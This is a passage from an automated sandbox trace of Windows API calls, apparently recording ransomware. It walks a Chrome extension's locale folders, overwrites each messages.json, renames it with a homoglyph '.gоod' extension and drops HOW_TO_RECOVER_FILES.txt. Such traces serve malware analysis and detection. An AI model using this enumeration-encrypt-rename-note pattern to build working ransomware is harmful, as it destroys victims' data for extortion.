ftLastAccessTime.dwLowDateTime=0xe87b65a7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe87b65a7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_HK", cAlternateFileName="")) returned 1 [0228.782] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe87c01e8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87c28fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe87c28fb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0228.782] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe87cec26, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe87d8890, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe87d8890, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zu", cAlternateFileName="")) returned 1 [0228.782] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x209ec670 | out: lpFindFileData=0x209ec670*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0228.783] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0228.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ec8d0) returned 1 [0228.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ec890) returned 1 [0228.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0228.784] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af", lpFilePart=0x0) returned 0x7b [0228.784] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe827ed1a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8283b3f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8283b3f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b580 [0228.785] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe827ed1a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8283b3f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8283b3f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.785] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8283b3f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8283b32, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0228.785] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0228.785] FindClose (in: hFindFile=0x134b580 | out: hFindFile=0x134b580) returned 1 [0228.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0228.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0228.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0228.785] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af", lpFilePart=0x0) returned 0x7b [0228.785] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe827ed1a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8283b3f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8283b3f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0228.785] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe827ed1a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8283b3f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8283b3f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.785] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8283b3f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8283b32, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0228.785] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8283b3f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8283b32, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0228.785] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0228.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0228.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0228.786] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json", lpFilePart=0x0) returned 0x89 [0228.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0228.786] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x36fcb80 | out: lpFileInformation=0x36fcb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8283b3f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8283b32, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x84)) returned 1 [0228.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0228.786] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json", lpFilePart=0x0) returned 0x89 [0228.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0228.786] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0228.786] GetFileType (hFile=0x858) returned 0x1 [0228.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0228.786] GetFileType (hFile=0x858) returned 0x1 [0228.786] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x84 [0228.787] ReadFile (in: hFile=0x858, lpBuffer=0x36fcfc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x36fcfc0*, lpNumberOfBytesRead=0x209ebc98*=0x84, lpOverlapped=0x0) returned 1 [0228.787] CloseHandle (hObject=0x858) returned 1 [0229.379] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json", lpFilePart=0x0) returned 0x89 [0229.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0229.380] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0229.380] GetFileType (hFile=0x85c) returned 0x1 [0229.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0229.381] GetFileType (hFile=0x85c) returned 0x1 [0229.381] WriteFile (in: hFile=0x85c, lpBuffer=0x37c8a48*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x37c8a48*, lpNumberOfBytesWritten=0x209ebba8*=0x90, lpOverlapped=0x0) returned 1 [0229.381] CloseHandle (hObject=0x85c) returned 1 [0229.382] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json", lpFilePart=0x0) returned 0x89 [0229.382] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0229.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0229.382] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8283b3f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8283b32, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x84efcf5b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x90)) returned 1 [0229.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0229.382] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\messages.json.gоod")) returned 1 [0229.383] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0229.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0229.383] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\af\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0229.384] GetFileType (hFile=0x85c) returned 0x1 [0229.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0229.384] GetFileType (hFile=0x85c) returned 0x1 [0229.384] WriteFile (in: hFile=0x85c, lpBuffer=0x37cc458*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x37cc458*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0229.385] CloseHandle (hObject=0x85c) returned 1 [0229.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0229.385] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am", lpFilePart=0x0) returned 0x7b [0229.386] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe829259d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82973c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82973c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0229.386] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe829259d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82973c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82973c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.386] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82973c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82973b2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0229.386] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0229.386] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0229.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0229.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0229.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0229.386] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am", lpFilePart=0x0) returned 0x7b [0229.387] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe829259d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82973c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82973c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0229.387] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe829259d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82973c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe82973c2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.387] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82973c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82973b2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0229.387] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82973c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82973b2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0229.387] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0229.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0229.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0229.387] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json", lpFilePart=0x0) returned 0x89 [0229.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0229.388] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x37dc428 | out: lpFileInformation=0x37dc428*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe82973c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe82973b2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b429cf, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x103)) returned 1 [0229.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0229.388] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\am\\messages.json", lpFilePart=0x0) returned 0x89 [0229.388] SetThreadErrorMode (dwNewMode=0x1, 